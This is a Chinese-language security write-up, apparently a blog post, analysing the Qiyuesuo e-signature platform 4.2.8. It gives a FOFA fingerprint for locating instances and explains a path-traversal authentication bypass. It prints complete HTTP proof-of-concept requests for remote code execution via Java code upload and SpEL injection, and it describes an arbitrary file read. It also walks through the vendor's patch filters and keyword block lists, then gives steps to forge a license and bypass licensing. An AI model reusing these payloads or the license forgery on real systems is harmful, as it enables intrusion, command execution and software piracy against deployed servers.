fofa指纹
app="契约锁-电子签署平台"
框架分析
PS:漏洞调试时在bin文件夹下的start.bat中分别对不同的模块添加相应的调试端口
这里以契约锁4.2.8版本为例,采用SpingBoot框架,核心代码都在jar包中,通用jar包位于lib中,模块代码名为priv-xx.jar
- lib
- |-private-api-1.0.0-SNAPSHOT.jar
- |-private-base-1.0.0-SNAPSHOT.jar
- |-private-core-1.0.0-SNAPSHOT.jar
- |-private-domain-1.0.0-SNAPSHOT.jar
- |-private-dss-1.0.0-SNAPSHOT.jar
- |-private-fee-1.0.0-SNAPSHOT.jar
- |-private-sql-1.0.0-SNAPSHOT.jar
- |-private-storage-1.0.0-SNAPSHOT.jar
- priv-backup.jar
- privapp.jar
- private-agent.jar
- private-sdk.jar
- privgateway.jar
- privopen.jar
- privoss.jar
- privupgrade.jar
privapp.jar
这些jar包每一个都是一个SpringBoot项目,以privapp.jar为例,
- privapp.jar
- |-BOOT-INF
- |- classes
- |- com.quyuesuo
- |- api
- |- config
- |- ...
- |- security
- |- WebApplication
- |- lib
- |-META-INF
- |-loader
查看主程序WebApplication,从config/app/application.properties中读取配置server.port=9180并启动服务。
- @SpringBootApplication( //组合注解,包含@Configuration、@EnableAutoConfiguration、@ComponentScan
- exclude = {QuartzAutoConfiguration.class}
- )
- @EnableAsync //启用Spring的异步方法执行能力
- @EnableAspectJAutoProxy //启用Spring对AspectJ的支持
- @EnableEncryptableProperties // 启用加密属性的支持
- @EnableMQ // 启用消息队列(Message Queue,MQ)的支持
- public class WebApplication extends SpringBootServletInitializer {
- public static void main(String[] args) throws Exception {
- QiyuesuoProperties.setAdditionalProperties("file:./config/app/");
- SpringApplication.run(WebApplication.class, args).start();
- }
- }
@SpringBootApplication注解会将扫描项目中所有包含@Component、@Service、@Repository和@Controller等注解的类,并注册到Spring上下文中。
Spring Security
一般SpringBoot会采用spring-boot-starter-security组件来实现认证和授权管理,类似如下的代码。
- public class SecurityConfig extends WebSecurityConfigurerAdapter {
- @Override
- protected void configure(HttpSecurity http) throws Exception {
- http
- .authorizeRequests()
- .antMatchers("/public/**").permitAll() // 允许所有人访问/public/**下的资源
- .anyRequest().authenticated() // 其他所有请求都需要认证
- .and()
- .formLogin()
- .loginPage("/login") // 自定义登录页面
- .permitAll() // 允许所有人访问登录页面
- .and()
- .logout()
- .permitAll(); // 允许所有人注销
- }
- }
但是在翻看security文件夹时,并没有发现这样的类。只发现了一些过滤器。其中一个看着和身份认证有关MultiAuthenticationFilter。
- public class MultiAuthenticationFilter extends AbstractAuthenticationFilter implements Ordered {
- @Autowired
- protected SecurityProperties properties;
-
- protected boolean requiresAuthentication(HttpServletRequest request) {
- if (!request.getMethod().equalsIgnoreCase(DEFAULT_LOGIN_METHOD.name())) { // POST
- return false;
- } else {
- String authUrl = this.properties.getMultiAuthUrl(); // multiAuthUrl = "/multiauth";
- String requestURI = request.getRequestURI();
- String username = request.getParameter("username");
- Boolean isFilter = true;
- if (StringUtils.isNotBlank(username)) {
- isFilter = this.accountService.isPwd(username) && this.bindingService.ishasContact(username);
- }
-
- return this.pathMatcher.matches(request.getContextPath() + authUrl, requestURI) && isFilter;
- }
- }
- }
它的父类AbstractAuthenticationFilter位于private-core-1.0.0-SNAPSHOT.jar,即通用jar包中。其核心的doFilterInternal方法实际调用的是子类的requiresAuthentication方法。如果该方法返回false,就不用认证。
MultiAuthenticationFilter值得注意的一点是它用到的SecurityProperties属性是怎么来的?对该字段进行搜索,发现契约锁有很多地方用到了SecurityProperties。同包中的PrivappConfigurer类位于config文件夹下,定义了该属性。其中定义了很多被允许的路由。
- @Configuration // 标识该类为Spring的配置类,相当于一个传统的XML配置文件
- @EnableWebSecurity // 位于private-core-1.0.0-SNAPSHOT.jar
- @EnableActuator // 位于private-base-1.0.0-SNAPSHOT.jar
- @EnableHazelcastClient // 启用Hazelcast客户端功能
- public class PrivappConfigurer {
- protected static Logger logger = LoggerFactory.getLogger(PrivappConfigurer.class);
-
- @Bean
- @ConfigurationProperties(
- prefix = "qiyuesuo.security"
- )
- public SecurityProperties securityProperties() {
- SecurityProperties properties = new SecurityProperties();
- String[] allowed = new String[]{"/qyswebapp/assets/**", "/favicon.ico", "/captcha/**", "/error*", "/login*", "/login/**", "/logout**", "/callback/**", "/company/auth/forwardinfo", "/contract/summary", "/signaturethird", "/app/download", "/lpsealupload", "/contract/print/client/infos", "/document/print/client/download", "/contract/print/client/delete", "/sys/config/activemethod", "/version/info", "/version/check", "/contract/ukeysign/**", "/signature/upload", "/app/url", "/contractqr/**", "/contractqrdetail/**", "/contract-detail-open-qrcode/**", "/sealer/**", "/pdfverifier*", "/pdfverifier/**", "/formSignatory/image", "/formSignatory/get", "/dtlogin", "/wechat/**", "/verifier*", "/session/status", "/user/change/mobile", "/user/mobile/pin", "/user/voice/pin", "/user/get/mobile", "/modifyphone", "/sys/custom/config", "/formSignatory/sign/v2/ukey", "/physicaluploadthird/*", "/ukey/login", "/third/ukey/login", "/sys/config/multipassword", "/multiauth", "/lk/*", "/sys/config/skin", "/contract/sweepcode/detail/*", "/contract/sweepcode/pin", "/company/logo/base64*", "/company/logo/image*", "/scanLogin*", "/css", "/binary/signbyukey", "/sys/config/getbackgroundimage", "/sys/config/getbackgroundconfig", "/user/get/account", "/user/ukey/checkbind", "/responsibility/config", "/privacy-protection", "/sys/config/icp", "/sys/config/oss", "/dingtalk/callback", "/anomalous", "/contract/sweepcode/pin", "/qys/webapp/basePath", "/error/outOfDate", "/welinklogin", "/company/retrieve/company/check", "/retrieve*", "/company/retrieve/user/check", "/sys/config/sign/develop/environment"};
- properties.setAllowedPatterns(allowed);
- String[] noFreshSessionPatterns = new String[]{"/system/message/unreadcount"};
- properties.setNoRefreshSessionPatterns(noFreshSessionPatterns);
- properties.setSessionIdName("QID");
- return properties;
- }
- }
另外,在搜索过程中发现,通用jar包private-core-1.0.0-SNAPSHOT.jar中包含SecurityProperties.class
但是从MultiAuthenticationFilter的逻辑中可以看到,只用到了这些路由中的/multiauth。但是正常来讲,定义了这么多的路由,肯定会有一个通用的判断逻辑,来判断请求的url是否和这些路由匹配。那么就需要找到还有那些被应用的Filter。
Filter注册
SpringBoot注册Filter常见的方式如下。或者还可以通过@WebFilter + @ServletComponentScan注解实现
- // 1. 实现Filter类,并应用@Component注解
- @Component
- public class MyFilter implements Filter {
- @Override
- public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
- throws IOException, ServletException {
- // Filter logic
- chain.doFilter(request, response);
- }
- }
-
- // 2. 使用 @Bean 注解手动注册Filter
- @Configuration
- public class FilterConfig {
- @Bean
- public FilterRegistrationBean<MyFilter> myFilter() {
- FilterRegistrationBean<MyFilter> registrationBean = new FilterRegistrationBean<>();
- registrationBean.setFilter(new MyFilter());
- registrationBean.addUrlPatterns("/api/*");
- return registrationBean;
- }
-
- @Bean
- public FilterRegistrationBean<AnotherFilter> anotherFilter() {
- FilterRegistrationBean<AnotherFilter> registrationBean = new FilterRegistrationBean<>();
- registrationBean.setFilter(new AnotherFilter());
- registrationBean.addUrlPatterns("/admin/*");
- return registrationBean;
- }
- }
AccessControlFilter
对setFilter关键字进行搜索,有三处地方用到了类似的写法。
- #1 privupgrade.jar -> DemultiplexingLogHandler.java
- ((Handler)var3).setFilter(this.getFilter());
-
- #2 privopen.jar -> SpringMvcConfigurer.java
- registrationBean.setFilter(this.authenticationFilter());
- registrationBean.setFilter(this.templateGroupFilter());
- registrationBean.setFilter(this.simpleAuthenticationFilter());
- registrationBean.setFilter(this.ipFilter());
- registrationBean.setFilter(this.timestampFilter());
- registrationBean.setFilter(this.integrationFilter());
-
- #3 private-core-1.0.0-SNAPSHOT.jar -> SecurityConfiguration.java
- registration.setFilter(new ParamsFilter(this.objectMapper));
最值得关注的就是最后一个,位于通用jar包中的SecurityConfiguration,该类中包含的Filter如下
- public UkeyAuthenticationFilter ukeyAuthenticationFilter() {}
- public SecurityContextFilter securityContextFilter() {}
- public AccessControlFilter accessControlFilter() {}
- public DingTalkAuthenticationFilter dingTalkAuthenticationFilter() {}
- public CasAuthenticationFilter casAuthenticationFilter() {}
- public SSOAuthenticationFilter ssoAuthenticationFilter() {}
- public OaAuthenticationFilter oaAuthenticationFilter() {}
- public CloudHubAuthencationFilter cloudHubAuthencationFilter() {}
- public DefaultAuthenticationFilter defaultAuthenticationFilter() {}
- public SnsAuthenticationFilter snsAuthenticationFilter() {}
- public WeChatAuthenticationFilter weChatAuthenticationFilter() {}
- public LogoutFilter logoutFilter() {}
- public ResponsibilityFilter responsibilityFilter() {}
跟进不同的Filter,会发现AccessControlFilter是对SecurityProperties属性的通用过滤器。只要是allowedPatterns中的路径都无需验证。
匹配路由时用的matchesRequestURI方法最终实际会调用到private-core-1.0.0-SNAPSHOT.jar中的AntPathMatcher类。
根据对代码的对比,这个类和org.springframework.util.AntPathMatcher#doMatch基本一致。也就是Spring之前的绕过问题,这里也存在。例如,/callback/**是无需校验的,/sys需要校验。那么可以通过/callback/../sys/来访问/sys路由。
另外,除了上面privapp.jar中PrivappConfigurer类中包含了定义的路径。privoss.jar中ConsoleConfiguration类中也包含了一些定义的路径。
- @Bean
- @ConfigurationProperties(
- prefix = "qiyuesuo.security"
- )
- public SecurityProperties securityProperties() {
- SecurityProperties properties = new SecurityProperties();
- String[] allowed = new String[]{"/login*", "/setup*", "/setup/**", "/qysoss/assets/**", "/error*", "/favicon.ico", "/logout*", "/nacos/**", "/dubbo/**", "/sys/config/name", "/version/info", "/license/check", "/license/get", "/captcha/**", "/login/**", "/multiauth", "/qys/oss/basePath", "/sys/config/oss", "/sys/config/develop/environment"};
- properties.setAllowedPatterns(allowed);
- properties.setSessionIdName("OSSID");
- properties.setSameSiteSessionIdName("OSSID");
- return properties;
- }
常见的绕过前缀包含
- /qyswebapp/assets/**
- /captcha/**
- /login/**
- /logout**
- /callback/**
- /contract/ukeysign/**
- /contractqr/**
- /contractqrdetail/**
- /contract-detail-open-qrcode/**
- /sealer/**
- /pdfverifier/**
- /wechat/**
- /setup/**
- /qysoss/assets/**
- /nacos/**
- /dubbo/**
历史漏洞
/code/upload 文件上传漏洞
/callback/..;/code/upload
先对/code/upload路由进行定位,位于CustomCodeController类中。用于上传代码
跟进create方法。该方法位于通用jar包中,对上传的java代码进行编译,然后用checkType方法检查传入的类是否符合要求。
compileCustomCode()编译过程有一个关键问题,编译后类有没有被加载?加载后有没有初始化?
编译和加载是java代码执行的不同阶段。java代码(即.java文件)首先经历编译阶段,由java编译器(如javac)将.java文件转换成.class字节码。想要运行代码,就需要经历加载阶段—将字节码文件加载到jvm中。
想要直接利用类中的代码,需要将代码放入静态代码块static,让它在类加载后执行。否则源程序是不会调用我们写入的代码的。但是类加载并不意味着静态代码块static会执行。类加载后的初始化阶段static才会执行。
执行static代码块的常见条件如下:
1. Class.forName("MyClass"); 此语句默认第二个参数为true。即进行初始化。但如果写成Class.forName("MyClass",false,this.getClass().getClassLoader())就不会初始化,也就不会执行static块。
2. new对象。例如new A()
3. get/set静态字段。含反射调用
4. 调用类的静态方法。含反射调用
- loader.defineClass("MyClass", byteCode, 0, byteCode.length);
- Method main = cls.getDeclaredMethod("xx", String[].class);
- main.setAccessible(true);
- main.invoke(null, (Object) new String[] {});
另外。类加载时常用ClassLoader.loadClass("MyClass")方法,但是该方法并不会直接执行初始化操作。想要执行static,一般需要搭配newInstance,如下。
- Class<?> c=loader.loadClass("MyClass");
- Constructor<?> constructor = c.getDeclaredConstructor();
- constructor.setAccessible(true);
- Object instance = constructor.newInstance();
跟进compileCustomCode()方法,实际调用private-core-1.0.0-SNAPSHOT.jar 中的JavaDynamicCompiler.compile(),将上传的代码写入新的文件,并调用同类的compileFile()编译
跟进compileFile(),在编译后执行了loadClass的类加载操作。但是上面提到loadClass时并不会执行static代码块中的内容。
继续看一下checkType的具体限制。到底什么类可以允许上传。根据CodeType的不同,分别要实现不同的接口或类。
POC如下
- POST /callback/%2E%2E;/code/upload HTTP/1.1
- Host: ip
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- Accept-Encoding: gzip, deflate
- X-Requested-With: XMLHttpRequest
- Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryco2lQ5vxCOn9Aq2R
- Connection: close
-
- ------WebKitFormBoundaryco2lQ5vxCOn9Aq2R
- Content-Disposition: form-data; name="type";
-
- TIMETASK
- ------WebKitFormBoundaryco2lQ5vxCOn9Aq2R
- Content-Disposition: form-data; name="file";filename="qys.java"
-
- package qiyuesuo;
-
- import com.qiyuesuo.utask.java.BaseTimerTask;
-
- public class qiyuesuo004 extends BaseTimerTask {
- static {try{Runtime.getRuntime().exec("whoami");}catch (Exception e){}}
- }
- ------WebKitFormBoundaryco2lQ5vxCOn9Aq2R--
POC中有一点值得注意,Spring新一些的版本中支持以表单的形式来为参数赋值,且无需用注解。例如POC中的type赋值的就是CodeType type。
但是这个POC就像上面提到的问题,只执行了loadClass,并没有初始化。所以无法用这个包完成攻击,还需要根据这个上传的java文件的id,去执行定时计划。
/utask/upload 远程代码执行
这个漏洞和/code/upload很类似,漏洞位于privoss.jar中的UserTaskController。
uploadFile方法实际调用的就是上面的create方法。
和上面那个漏洞相比,上面那个代码只是上传漏洞,并loadClass。但是这个utask的漏洞,在代码编译后执行了startUsing
跟进startUsing方法,在编译后执行了一次newInstance,static代码块可以执行。用上面的POC可以成功攻击。
/template/html/add 远程代码执行
需要注意4.2.8的代码逻辑和新版本中的不同,此漏洞可能存在于版本大于4.2.8的版本中。
漏洞定位TemplateHtmlController的addHtmlTemplate()方法,用于添加模板。模板内容通过TemplateBean传入。file和title参数不能为空,否则会抛出异常,用Jackson读取传入的param中的extensionParam参数值,如果该值中包含expression,就通过正则解析和处理包含数学表达式或公式的字符串,如{}、(),如果不存在这些符号,就会抛出异常公式存在格式错误
然后取出expression的值,判断是否其中还包含{},如果包含则将{xx}替换为1。然后执行checkExpression,典型的表达式执行漏洞。
POC如下
- POST /captcha/%2e%2e/template/html/add HTTP/1.1
- Host: your-ip
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/98.0.155.44 Safari/537.36
- Content-Type: application/json
- X-State: whoami
-
- {"file":"1","title":"2","params":[{"extensionParam":"{\"expression\":\"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='base64字符串';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-8');var c=a['parseExpression'](deStr);c.getValue();\"}","name":"test"}]}
解码内容
T (org.springframework.cglib.core.ReflectUtils).defineClass("QysTest",T (org.springframework.util.Base64Utils). decodeFromString("yv66vgAAADIBK..."),new javax.management.loading.MLet(new java.net.URL[0],T (java.lang.Thread).currentThread().getContextClassLoader())).doInject()
/template/param/edits 远程代码执行
此漏洞与上面的/template/html/add漏洞原理相同,位于TemplateController
POC如下
- POST /contract/ukeysign/.%2e/.%2e/template/param/edits HTTP/1.1
- Host: xxxxx
- Cookie: SID=3c5dff0a-40d3-4235-b3dc-80a0ede12570
- Pragma: no-cache
- Cache-Control: no-cache
- Sec-Ch-Ua: "Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"
- Sec-Ch-Ua-Mobile: ?0
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
- Sec-Ch-Ua-Platform: "macOS"
- Accept: */*
- Sec-Fetch-Site: same-origin
- Sec-Fetch-Mode: no-cors
- Sec-Fetch-Dest: script
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9
- Content-Type: application/json
- Content-Length: 32990
- Connection: close
-
- {"id":"2","params":[{"expression":"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='classBase64编码';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-8');var c=a.parseExpression(deStr);c.getValue();"}]}
补丁分析
下载下来的压缩包中包含一个补丁jar、补丁安装说明和补丁版本说明。补丁版本说明如下。
Jar包含了一些Filter和一个security.rsc文件。找到处理/security.rsc的地方,位于private-security-patch.jar补丁包中的SecurityResourceOperator
提取这段代码对security.rsc进行解密,得到如下的url列表
补丁包中的filter包含:CustomCodePreventFilter、DangerUrlPreventFilter、TemplateParamPreventFilter、UpgradeInterceptorsFilter
CustomCodePreventFilter
针对上面上传java代码的漏洞,一旦Filter检测到相关的路由,会增加CustomCodeRequestWrapper,对敏感关键字进行检测,判断上传的java代码中是否用到了如下的关键字。
CustomCodePreventFilter: Value: [/utask/upload, /code/upload, /api/code/upload, /api/sys/config/storage/custom/upload, /sys/config/storage/custom/upload, /api/sys/config/convert/upload, /sys/config/convert/upload, /api/message/strategy/upload, /message/strategy/upload] Value: [Runtime, Process, ProcessBuilder, SpelExpressionParser, invoke, Class.forName, newInstance, ClassLoader, Constructor, ObjectInputStream, ScriptEngine, parseExpression, getDeclaredField, setAccessible, getMethod, lookup]
TemplateParamPreventFilter
针对上面的template远程代码执行漏洞,一旦检测到相关路由,增加TemplateParamRequestWrapper,用正则匹配a.b(不区分大小写),一旦匹配到则认定包含攻击代码。
Value: [/template/param/edits,/template/html/update,/api/template/param/edits, /api/template/html/update, ]
Value: [/template/html/add, /api/template/html/add]
findable = Pattern.compile("[a-zA-Z]\\.[a-zA-Z]").matcher(cell.getExpression()).find();
UpgradeInterceptorsFilter
UpgradeInterceptorsFilter的主要逻辑如下。c 方法判断字符串 str 是否以列表 list 中的任意一个元素开头。b 方法判断字符串 str 是否包含列表 list 中的任意一个元素。
if (QiyuesuoURIStringUtils.c(p, url) && !QiyuesuoURIStringUtils.b(q, url) && !"true".equals(this.r)) {...} // 拦截
p和q具体的列表如下。也就是以p开头,但是又不在q列表中的就会拦截。
p Key: UpgradeInterceptorsFilter.RISK_UPGRADE_URI Value: [/upgrade, /api/upgrade, /update, /api/update] q Key: UpgradeInterceptorsFilter.RISK_UPGRADE_EXCLUDE_URI Value: [/upgrade/status, /upgrade/sqldetail, /api/upgrade/status, /api/upgrade/sqldetail, /update/password/pin, /api/update/password/pin, /update/password, /api/update/password, /upgrade/detail/download, /upgrade/error/servicedetail, /upgrade/error/sqldetail, /upgrade/errordetail]
DangerUrlPreventFilter
Value: [/assets/loadResource, /api/assets/loadResource]
DangerUrlPreventFilter首先用正则匹配不包含以下模式的字符串://(双斜杠)./(点号后紧跟斜杠);(分号),如果包含这三个中的一个就会抛出异常。如果不包含,则进入else,然后判断路由是否为/assets/loadResource/或api/assets/loadResource,如果是的话,获取path参数,再次用正则判断path是否包含//(双斜杠)./(点号后紧跟斜杠);(分号),防止跨目录。
- protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
- String url = QiyuesuoURIStringUtils.a(request);
- boolean matches = m.matcher(url).matches(); // Pattern.compile("^(?!.*\\/\\/)(?!.*\\.\\/)(?!.*[;]).*$");
- if (!matches) {
- this.n.a(response, url);
- } else {
- if (QiyuesuoURIStringUtils.c(o, url)) {
- String path = request.getParameter("path");
- if (!StringUtils.isEmpty(path) && !m.matcher(path).matches()) {
- logger.warn("匹配到攻击:{}", path);
- this.n.a(response, url);
- return;
- }
- }
-
- filterChain.doFilter(request, response);
- }
- }
跟进看一下/assets/loadResource,漏洞定位privapp.jar中的AssetsController
loadPath实际判断传入的path是否和下面的path相等,如果不相等返回null。
那么targetPath的值就是传入的path值,并且直接与./resources拼接进行文件读取。所以可以用../跨目录的方式来进行任意文件读取。不过稍微4.2.8中已经修复了。在获取path时判断了是否包含../
license破解
一般源码中是包含一个LICENSE文件的,在源码中查找读取LICENSE文件的地方。位于private-core-1.0.0-SNAPSHOT.jar的LicenseUtil类中。license初始化时会传入一个随机数作为identifier,并设置一个时间作为过期时间。然后用AES加密后写入到LICENSE文件中。
同类中还定义了resolveLicense方法用于解析LICENSE,先进行AES解密,再从字符串转换成json格式的License。
跟进License类看看都有哪些字段
上面这些是LICENSE的生成和解析过程。程序中实际校验LICENSE是契约锁启动后,会有三个步骤。1. 系统激活(LICENSE校验) 2. 数据库配置 3. 系统初始账号设置。都是/setup/开头的路由,定位到privoss.jar的SetupController,有个传入license的数据框,填入后会调用setLicesne方法
setLicesne方法主要干了几件事。1. 先读取项目中的LICENSE文件,赋值给fromFile。2. 调用上面的resolveLicense()方法解析传入的license。3. 判断二者的identifier是否相等。4. 判断传入的license是否过期。5. 传入的license,其token和secret值不能为空。
根据上面License类的字段,这里的时间戳expireTime设置的1767110400000,转换过来就是2025年12月31日。identifier、token和secret设置不能为空。构造的如下字符串。
{"licenseId":"123456","token":"abcd","secret":"xxx","version":"4.3","identifier":"xxx","companyName":test","expireTime":1767110400000,"expire":true,"config":{"contract":true,"print":false,"seal":false,"hybrid":true,"faceSign":true,"fee":false},"sales":"kk","cmaxMark":false,"icmaxMark":false,"pcmaxMark":false,"ipcmaxMark":false,"operator":"ec审批通过","licenseType":"com"}
用aes.encryptAES()加密得到license,覆盖掉原有的LICENSE文件。然后在/setup/页面的输入框中输入得到的加密license即可。